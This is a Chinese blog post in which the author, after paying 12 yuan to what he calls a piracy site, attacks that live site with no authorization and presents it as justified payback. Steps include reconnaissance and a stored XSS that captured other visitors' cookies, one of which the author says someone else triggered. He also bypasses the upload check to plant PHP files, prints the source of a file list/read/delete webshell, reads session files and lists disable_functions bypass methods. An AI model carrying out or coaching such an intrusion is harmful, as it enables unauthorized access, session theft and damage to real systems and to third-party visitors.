被伪装成“知识付费”的盗版网站坑了钱之后……

最近迷上了评书,听了一个片段之后很想找到全集把故事听完,于是在网上搜索。找到了一个貌似资源很全的网站,但是“知识付费”时代,必须充会员才能获取真实的下载地址。由于找了很久都没找到这段评书的资源,于是也没多想,充了12元买了这个资源。

但是充完之后发现想要的资源下载链接是一个百度云,资源已经失效了,于是想找找反馈的入口。结果仔细一看才发现,这个网站非常不正规,虽然是通过QQ登录,但是一般网站会有独立的账号体系,而这个网站不能修改用户的信息,看起来就像是没完工的测试项目似的。

image-20200806160535564

而且网站中的资源非常博杂,从相声戏曲,到新媒体运营,再到编程、软件,简直应有尽有,而且全是百度云的资源,看起来像是收集的盗版的东西。大部分的资源页面包括首页推荐的热门资源中都没有任何留言,就像一幢豪华CBD大厦里面空无一人,显得异常诡异。

查看页面的过程中,只看到了一个站长的联系QQ,加过之后也没反应。那既然这样,还是靠自己一探究竟吧。

信息收集

俗话说知己知彼,百战不殆。在正式开始之前先收集一下目标站点的信息。不同于正规的渗透测试,目标就是这个网站,因此就从服务器IP、开放端口、域名、接口这些信息下手。

域名信息

首先通过域名,反查它的IP地址以及子域名信息。这里子域名查询没有啥结果,也和预想的差不多,一个坑钱的小网站应该也不会有什么其他子域。

这里用了Chrome的插件 hacker target 来进行简单查询:

image-20200806163057871

端口信息

拿到了IP地址,利用shodan初步看看开放了什么端口:

image-20200806162913629

好家伙,有22还有3306?不过shodan向来都不太准,再用其他的工具确认一下。

image-20200806163328543

这回发现多了个21,却没有3306了。那最后再用本机的nmap确认一下端口。

因为直接跑nmap 65535个端口时间太长,而且很容易被云厂商认为是扫描行为而封禁IP,所以可以用这种外围打探的方式先确定基本的端口,最后再用nmap指定端口来确定是否真的开放了。

image-20200806164804389

那么目前能确定的开放端口就是这些。

组件信息

对于开放的端口,简单识别一下,其中21 - FTP, 22 - SSH, 80,443 - HTTP(S), 3306 - MySQL,那剩下的8888是什么?访问一下界面,从内容看应该是宝塔面板的登录接口,但是做了相应的安全设置。

image-20200806200632061

回到HTTP(S)服务上来,先尝试用在线CMS识别,发现无法识别出使用的CMS,只知道用的是PHP:

image-20200806201506225

再看robots.txt文件,也没什么发现:

image-20200806201628384

那么目前判断很有可能就是自己开发的系统。而2020年用PHP开发系统,至少是基于某个框架的,因此寻找一下有没有使用框架的蛛丝马迹。很快,在未登录状态下点击发帖按钮有个登录跳转(这部分在下文详细说如何发现的):

image-20200806201941920

咦?这熟悉的 😦 很想是thinkphp呀!

至此,简单的目标信息收集就结束了,总结如下:

目标域名:www.xxx.net

子域名:无

目标IP:3x.xx.xx.x1

开放端口:21,22,80,443,3306,8888

CMS信息:暂无

使用语言:PHP

使用框架:ThinkPHP(目前版本未知)

部署环境:宝塔Linux面板

威胁建模/漏洞分析

由于是纯黑盒测试,因此不可能有完整的威胁建模进行漏洞分析,只能根据前期收集的信息结合挖洞的过程来慢慢进行威胁建模的部分,因此这两块是合在一起进行的。

首先根据信息收集的内容,可以知道21和22两个端口大概率是宝塔面板提供的,为了方便用户对网站进行管理。因此这里就不去尝试暴力破解了(印象中宝塔是不允许设置弱密码的),如果Web应用的部分无法突破再考虑端口的暴力破解。同理3306也是这样。

8888端口是宝塔的控制面板,因为安全策略无法直接使用。因此将注意力放在443端口的Web Appication上。

HTML/JS分析

很多情况下,在HTML源码和JS脚本中可能会隐藏诸多秘密,尤其是在目前前端开发喜欢用VUE.js,网站的页面路径很多都会在JS里暴露。

首先先看首页的HTML源码以及加载的非第三方JS代码。在首页的HTML源码中,发现了一段被注释掉的导航栏代码:

image-20200806205311823

试一下/taolun,看看还有没有这个页面:

image-20200806205618250

看到这个讨论区,很多都是在吐槽链接失效、资源付费后没用的帖子,难怪要把这个导航栏给注释掉!

在页面右下角有一个发新帖的按钮,由于是未登录状态,因此点击之后弹出跳转登录的错误页面(即信息收集里看到的 😦 的页面),确定目标使用的框架是Thinkphp。

看了其他页面的HTML和JS,没有其他有价值的内容了。

ThinkPHP已知漏洞

既然确定了框架是TP,那么可以试试已知漏洞,万一有呢~

可以利用https://github.com/theLSA/tp5-getshell/工具来方便的进行检测。

image-20200806211806612

这里显示三个PoC均为404,可能是路由配置与默认有差距。这里可以执行其他的用例,比如_method变量覆盖漏洞(可参考《ThinkPHP5.0 漏洞测试》):

image-20200806212306138

这里成功让系统报错,再次确认确实是TP的框架,版本V5.0.0,以及绝对路径等等,这里就不再详细展示。

测试了其他的已知漏洞,都未能成功触发,此路不通。

SQL注入

因为用的是TP的框架,因此这里实际上也算是已知漏洞的验证了。因为TP自带防护,而且测试了几个点发现SQL防护应该是打开的,而某些注入是需要特定条件(比如把input变量直接转成数组),因为没有源码,试了几个点都没成功就放弃了>.< …

XSS

XSS在这里其实没太大作用,整个网站都没找到有与后台的联系,比如问题反馈什么的,不确定管理员是否会去查看,不过抱着试一试的心情,开始找输入点。

依然还是在/taolun的页面下,找了个帖子进去,发现可以回帖。本着先试试水的心态,复制了这个帖子的标题进去,发现竟然编辑器支持样式!

image-20200806213651303

那这就说明,很有可能这个接口根本不会对输入进行过滤!

迅速打开XSS平台,将代码复制下来,用Burpsuite拦住消息,在结尾插入代码,搞定!

image-20200806214055993

先试试我自己:

image-20200806214330841

成功读到了我的Cookie。

但是因为并没有注意邮件,实际上很快就有人看了这个帖子触发了XSS,但等我看到的时候已经失效了……

文件上传

因为XSS的成功,我判断目标站点应该是除了框架默认的安全配置之外并没有进行额外的安全加固。在“发新帖”的部分,允许用户在帖子里上传图片:

image-20200806215141784

这就给了我机会了。先试试简单的,编辑一个文本文件,内容是

<?php phpinfo();

文件名保存成1.jpg。上传的时候用Burp将filename的后缀改成.php:

image-20200806222704821

浏览器访问成功:

image-20200806222905548

利用这个页面,正好查看一下disable_functions的情况:

image-20200806222955099

这里可以看到,应该是宝塔面板的设置,在配置里将所有可能命令执行的函数全部都禁用了,因此上传Webshell也没什么意义,没法用菜刀或者AntSword进行连接。

漏洞利用

上面的步骤试探到文件上传,就已经找到了相应的方法可以进行利用了。本来的想法是通过文件上传进行反弹Shell,进一步提权进行后渗透的步骤,但是这里因为disable_functions卡住,需要绕过。

在实施绕过这个步骤之前,可以考虑先利用一下3306端口。之前发现3306是开放的,目前又可以上传PHP源码,可以写一个读取文件的PHP代码,将TP的database.php读出来,获取到数据库用户名和密码从而进行连接。

同时,为了保证之前的phpinfo页面不被其他人发现,写了一个删除文件功能(如果后面不用了还能把上传的这些PHP都删了):

<?php
$dir = @$_POST["dir"];
$del = @$_POST["del"];
$read = @$_POST["read"];
$fname = @$_POST["file"];
if($del and $fname){
	echo(unlink($dir.$fname));
}
else if($read and $fname){
	$handler=fopen($dir.$fname, "r");
	echo fread($handler, filesize($dir.$fname));
	fclose($handler);
}

else if($dir){
	$handler=opendir($dir);
	while(($filename = readdir($handler)) !== false){
		$files[] = $filename;
	}
	closedir($handler);
	foreach($files as $fn){
		$mark=" ";if(is_dir($dir.$fn)) $mark="+";
		echo $mark . $fn . " " . @filesize($dir.$fn) ."\n";
	}
}

其实功能很简单,就是列出目录、读取文件、删除文件。

查看Session文件

忽然想到,之前XSS累死累活,不就是想搞一个SessionID嘛,这都进来了不就可以直接看了?一般情况下,Session文件是存放在/tmp目录下的,PHP默认是以sess_开头的文件名。

先用之前上传的脚本试一下:

image-20200806224057289

Bingo!确实在这里。Response中文件名后面的数字是文件大小,超时的Session文件中的数据会被删除,因此大小是 0 。

那找一个大小不为0的,看看内容:

image-20200806224332843

查看数据库配置

同理,通过前面phpinfo中的绝对路径,可以构建…/来进入application文件夹,读取database.php文件,获取MySQL用户名密码。

考虑到宝塔启动MySQL用的是低权限账户,且数据库中的数据目前并没有什么用,还可能又风险,想了想还是不去弄了,反正是个思路。

突破disable_functions

没有命令执行的WebShell是没有太大的利用价值的,这里想突破一下disable_functions。

突破的方法有很多,大致总结如下:

方法PHP版本条件
寻找未禁用函数任意disable_functions中没有禁用某些函数
LD_PRELOAD劫持任意Linux环境,putenv()、mail()函数可用
ShellShock绕过5.*目标OS有CVE-2014-6271,Linux环境,putenv()、mail()函数可用
imap_open任意命令执行任意开启imap扩展,并支持imap_open()函数
Apache+mod_cgi+.htaccess绕过任意Apache,启用mod-cgi,允许.htaccess且文件可写
ImageMagick漏洞绕过>=5.4开启ImageMagick插件且插件版本<= 3.3.0
FFI外部函数接口绕过7.4ffi.enable=true

从目标环境来看,disable_functions已经禁用全部可能利用的函数,导致不满足全部的利用条件。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值